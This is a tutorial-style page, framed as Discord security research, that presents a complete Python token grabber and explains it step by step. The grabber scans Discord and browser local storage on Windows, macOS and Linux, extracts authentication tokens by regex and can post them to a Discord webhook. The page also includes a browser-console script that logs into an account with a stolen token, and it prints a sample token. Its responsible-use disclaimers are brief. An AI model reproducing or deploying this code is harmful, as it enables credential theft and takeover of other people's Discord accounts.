๐Ÿ’™Discord Tokens

Introduction

I'm trying to make some cybersecurity research on Discord. The main target for hackers are tokens. Thanks to tokens, you don't need credentials to login to an account. You can just login through Discord thanks to the strings bellow.

MzA4MjkzNjAzNTMxMjkyNjcy.DN9r_A.brcD2xRAqjAGTuMcGPwy4TWVQdg

To use a token for login to an account, you can use the script bellow on the website's console.

let token = "_TOKEN_";
function login(token) {
    setInterval(() => {
      document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`
    }, 50);
    setTimeout(() => {
      location.reload();
    }, 2500);
  }
login(token);

Main Event

Is there a way to recover a token without token grabber? That's the question i will try to find an anser. But firstly, how a token is generate?

To encode and decode things, you can use CyberChef. It's my favorite app to encrypt/decrypt strings.

A token is made in three part, the first part is just the user id encoded in base64.

We can easely get the first part of a token by encoding the user id in base64.

308293603531292672 -> MzA4MjkzNjAzNTMxMjkyNjcy

Token Grabber

Find the full python script here.

In this chapter, we will explore a Python script that helps find Discord tokens stored on a computer. Discord tokens are sensitive information that should not be shared or exposed, as they can be used to gain unauthorized access to Discord accounts. It's important to use this script responsibly and only on systems you have permission to access.

Learning Objectives

  • Understand how to locate Discord tokens on a computer.

  • Explore the use of platform-specific paths for different operating systems.

  • Learn about sending data to a Discord server through a webhook.

Prerequisites

Before diving into this chapter, you should have a basic understanding of Python programming and how to execute Python scripts on your system. Additionally, you need to have the required permissions to access and run this script on the target system.

Script Overview

The Python script provided in this chapter is designed to find Discord tokens on a computer. It works on Windows, macOS, and Linux systems. The script performs the following tasks:

  1. Detect the operating system the script is running on.

  2. Identify and extract tokens from the local storage of various applications.

  3. Optionally, send the found tokens to a Discord server through a webhook.

Let's break down the script step by step.

Code Explanation

Importing Necessary Modules

import os
import re
import json
import platform

The script starts by importing the required modules, including os for file system operations, re for regular expressions, json for JSON data handling, and platform for detecting the operating system.

Constants for Webhook Configuration

WEBHOOK_ENABLE = False
WEBHOOK_URL = 'WEBHOOK HERE'

These constants allow you to enable or disable the sending of tokens to a Discord server through a webhook. If WEBHOOK_ENABLE is set to True, the script will attempt to send the tokens to the specified WEBHOOK_URL.

Function for Finding Tokens

def find_tokens(path):
    path += '/Local Storage/leveldb'

    tokens = []

    for file_name in os.listdir(path):
        if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
            continue

        for line in [x.strip() for x in open(f'{path}/{file_name}', errors='ignore').readlines() if x.strip()]:
            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for token in re.findall(regex, line):
                    tokens.append(token)
    return tokens

The find_tokens function takes a path as input and looks for Discord tokens in specific files within that path. It uses regular expressions to find tokens in the files. The found tokens are returned as a list.

Understanding Regular Expressions in the Script

In the provided script, regular expressions (regex) are used to search for Discord tokens within text data. Discord tokens consist of three parts: a 24-character string, followed by a 6-character string, and then a 27-character string. Let's break down how this is implemented in the script.

Regular Expression Pattern

The regular expression pattern used to match Discord tokens is defined as follows:

(r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}')

Let's break down this pattern:

  • [\w-]: This part of the pattern matches any alphanumeric character (letter or digit) and the hyphen character (-).

  • {24}: This quantifier specifies that the preceding pattern, [\w-], should be matched exactly 24 times. This ensures that the first part of the token consists of 24 characters.

  • \.: This matches a literal period (dot) character, which is used to separate the three parts of the token.

  • {6}: Similar to the first part, this quantifier specifies that the middle part of the token, also consisting of alphanumeric characters and hyphens, should be exactly 6 characters long.

  • \.: Another period to separate the second and third parts of the token.

  • {27}: This quantifier specifies that the final part of the token should consist of exactly 27 characters.

How the Pattern is Used

The script uses this regex pattern in a for loop to search for token matches within lines of text. Here's how it works:

for line in [x.strip() for x in open(f'{path}/{file_name}', errors='ignore').readlines() if x.strip()]:
    for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
        for token in re.findall(regex, line):
            tokens.append(token)
  • for line in [...]: The script reads lines of text from a file and iterates through them.

  • for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'): There are two regex patterns in this loop. The first pattern, which we discussed earlier, matches Discord tokens. The second pattern (r'mfa\.[\w-]{84}') is used to match another type of Discord token.

  • for token in re.findall(regex, line): For each line of text, the re.findall function is used to find all matches of the current regex pattern within that line.

  • tokens.append(token): When a token match is found, it is added to the tokens list.

In summary, the script uses regular expressions to identify and extract Discord tokens based on their specific pattern, which includes a 24-character part, a 6-character part, and a 27-character part, separated by periods. These tokens are then collected for further processing.

Main Function

def main():
    system = platform.system()
    print(f'Operating System detected: \033[0;36m{system}\033[0m')

    if system == 'Linux':
        home = os.path.expanduser("~")
        
        paths = {
            'Discord': os.path.join(home, '.discord'),
            'Discord Canary': os.path.join(home, '.discordcanary'),
            'Discord PTB': os.path.join(home, '.discordptb'),
            'Google Chrome': os.path.join(home, '.config/google-chrome/Default'),
            'Opera': os.path.join(home, '.config/opera/Default'),
            'Brave': os.path.join(home, '.config/BraveSoftware/Brave-Browser/Default'),
            'Yandex': os.path.join(home, '.config/yandex-browser/Default')
        }

    elif system == 'Darwin':
        local = os.path.expanduser('~/Library/Application Support')
        
        paths = {
            'Discord': os.path.join(local, 'Discord'),
            'Discord Canary': os.path.join(local, 'discordcanary'),
            'Discord PTB': os.path.join(local, 'discordptb'),
            'Google Chrome': os.path.join(local, 'Google/Chrome/Default'),
            'Opera': os.path.join(local, 'com.operasoftware.Opera'),
            'Brave': os.path.join(local, 'BraveSoftware/Brave-Browser/Default'),
            'Yandex': os.path.join(local, 'Yandex/YandexBrowser/Default')
        }

    elif system == 'Windows':
        local = os.getenv('LOCALAPPDATA')
        roaming = os.getenv('APPDATA')

        paths = {
            'Discord': roaming + '/Discord',
            'Discord Canary': roaming + '/discordcanary',
            'Discord PTB': roaming + '/discordptb',
            'Google Chrome': local + '/Google/Chrome/User Data/Default',
            'Opera': roaming + '/Opera Software/Opera Stable',
            'Brave': local + '/BraveSoftware/Brave-Browser/User Data/Default',
            'Yandex': local + '/Yandex/YandexBrowser/User Data/Default'
        }

    message = ''

    for client, path in paths.items():
        if not os.path.exists(path):
            continue

        message += f'\n[{client}]\n'

        tokens = find_tokens(path)

        if len(tokens) > 0:
            for token in tokens:
                message += f'\033[0;32m{token}\033[0m\n'
        else:
            message += '\033[0;31mNo tokens found.\033[0m\n'

    if WEBHOOK_ENABLE == False:
        print(f'{message}')

    elif WEBHOOK_ENABLE == True:
        headers = {
            'Content-Type': 'application/json',
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'
        }

        payload = json.dumps({'content': f'```txt{message}```'})

        try:
            from urllib.request import Request, urlopen
            req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
            urlopen(req)
            print('Result has been sent to the discord server.')
        except:
            pass

The main function is the entry point of the script. It detects the operating system, sets paths for various applications, and searches for tokens in each application's local storage. The results are stored in the message variable, which will be printed to the console or sent to a Discord server if WEBHOOK_ENABLE is True.

Path Configuration Based on the Operating System

The script configures different paths based on the operating system:

  • For Linux

  • For macOS (Darwin)

  • For Windows

These paths point to the local storage of Discord and other applications where tokens might be stored.

Gathering Tokens

The script then calls the find_tokens function for each application's path and appends the results to the message variable. Tokens, if found, are highlighted with colored output.

Sending Results to Discord (Optional)

If WEBHOOK_ENABLE is set to True, the script prepares the results as a JSON payload and sends them to the specified Discord webhook URL using the urllib module. This step is optional and can be skipped if you only want to print the results to the console.

Script Execution

if __name__ == '__main__':
    main()

The script's execution starts from here. The main function is called when the script is run, and it performs the token search and optionally sends the results to the Discord server.

Conclusion

In this chapter, you learned about a Python script that can be used to find Discord tokens on a computer. It's important to use this script responsibly and within the bounds of the law and ethical guidelines. In the next chapter, we will explore additional Python programming concepts and techniques.

Last updated